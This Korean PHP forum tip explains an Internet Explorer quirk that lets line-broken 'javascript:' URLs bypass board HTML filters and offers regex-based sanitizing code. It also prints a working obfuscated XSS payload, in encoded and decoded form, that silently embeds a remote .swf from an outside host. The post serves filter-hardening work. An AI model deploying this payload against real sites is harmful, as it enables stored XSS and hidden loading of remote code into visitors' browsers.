출처 : http://www.phpschool.com/gnuboard4/bbs/board.php?bo_table=tipntech&wr_id=56700&page=1
|
http://www.phpschool.com/gnuboard4/bbs/board.php?bo_table=talkbox&wr_id=737742&page=1&sfl=&stx=&spt=&page=1&cwin=#c_737751
문제는 이 글보고 알았습니다.
IE 에서 href 주소의 엔터는 가볍게 무시되고 실행됩니다.
html 허용한 게시판에서 js 를 제거하도록 하게 되어 있다면, 정규식을 좀더 세밀하게 할 필요가 있겠습니다.
아래는 예로써만 참조하시고, 알아서 강화하세요.
$html = preg_replace('/on([^\'">=]+=)/i', 'off\1', $html); $html = preg_replace_callback('/(href|src)[\t\s\r\n]*=[\t\s\r\n]*((["\']).*?(?<!\x5c)\3)/is', 'iehack_escape', $html); $html = preg_replace('/((href|src)=.?)(j(ava)?)?script/i', '\1javaworker', $html);
function iehack_escape($matches) { return $matches[1].'='.preg_replace('/(&#(x0*[da]|0*1[03]);|[\r\n])/i', '', $matches[2]); } License : Public Domain |
<DIV id=ff><IMG src=Ja
va
Script:ff.in
ner
HTML=u
ne
sca
pe("\x3C\x65\x6D\x62\x65\x64\x20\x73\x72\x63\x3D\x68\x74\x74\x70\x3A\x2F\x2F\x64\x61\x75\x6D\x75\x63\x63\x2E\x63\x61\x66\x65\x32\x34\x2E\x63\x6F\x6D\x2F\x74\x2E\x73\x77\x66\x20\x77\x69\x64\x74\x68\x3D\x30\x20\x68\x65\x69\x67\x68\x74\x3D\x30\x3E")></div>
javascript:ff.innerHTML=unescape('<embed src=http://daumucc.cafe24.com/t.swf width=0 height=0>')
전형적인 xss를 이용한 원격 hack 방법중 하납니다 :)
<xml></xml> 태그를 집어넣으면 바로 확인됩니다.